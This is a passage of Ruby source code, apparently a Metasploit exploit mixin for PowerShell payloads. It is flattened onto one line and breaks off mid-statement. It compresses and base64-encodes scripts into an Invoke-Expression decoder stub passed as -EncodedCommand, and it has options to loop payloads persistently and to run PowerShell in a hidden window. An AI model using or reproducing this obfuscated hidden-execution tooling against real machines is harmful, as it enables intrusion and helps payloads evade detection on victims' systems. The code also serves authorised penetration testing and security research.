# -*- coding: binary -*- require 'zlib' module Msf module Exploit::Powershell def initialize(info = {}) super register_options( [ OptBool.new('PERSIST', [true, 'Run the payload in a loop', false]), OptBool.new('PSH_OLD_METHOD', [true, 'Use powershell 1.0', false]), OptBool.new('RUN_WOW64', [ true, 'Execute powershell in 32bit compatibility mode, payloads need native arch', false ]), ], self.class) end # # Insert substitutions into the powershell script # def make_subs(script, subs) if ::File.file?(script) script = ::File.read(script) end subs.each do |set| script.gsub!(set[0],set[1]) end if datastore['VERBOSE'] print_good("Final Script: ") script.each_line {|l| print_status("\t#{l}")} end return script end # # Return an array of substitutions for use in make_subs # def process_subs(subs) return [] if subs.nil? or subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end return new_subs end # # Read in a powershell script stored in +script+ # def read_script(script) script_in = '' begin # Open script file for reading fd = ::File.new(script, 'r') while (line = fd.gets) script_in << line end # Close open file fd.close() rescue Errno::ENAMETOOLONG, Errno::ENOENT # Treat script as a... script script_in = script end return script_in end # # Return a zlib compressed powershell script # def compress_script(script_in, eof = nil) # Compress using the Deflate algorithm compressed_stream = ::Zlib::Deflate.deflate(script_in, ::Zlib::BEST_COMPRESSION) # Base64 encode the compressed file contents encoded_stream = Rex::Text.encode_base64(compressed_stream) # Build the powershell expression # Decode base64 encoded command and create a stream object psh_expression = "$stream = New-Object IO.MemoryStream(," psh_expression << "$([Convert]::FromBase64String('#{encoded_stream}')));" # Read & delete the first two bytes due to incompatibility with MS psh_expression << "$stream.ReadByte()|Out-Null;" psh_expression << "$stream.ReadByte()|Out-Null;" # Uncompress and invoke the expression (execute) psh_expression << "$(Invoke-Expression $(New-Object IO.StreamReader(" psh_expression << "$(New-Object IO.Compression.DeflateStream(" psh_expression << "$stream," psh_expression << "[IO.Compression.CompressionMode]::Decompress))," psh_expression << "[Text.Encoding]::ASCII)).ReadToEnd());" # If eof is set, add a marker to signify end of script output if (eof && eof.length == 8) then psh_expression += "'#{eof}'" end # Convert expression to unicode unicode_expression = Rex::Text.to_unicode(psh_expression) # Base64 encode the unicode expression encoded_expression = Rex::Text.encode_base64(unicode_expression) return encoded_expression end # # Runs powershell in hidden window raising interactive proc msg # def run_hidden_psh(ps_code,ps_bin='powershell.exe') ps_args = " -EncodedCommand #{ compress_script(ps_code) } " ps_wrapper = <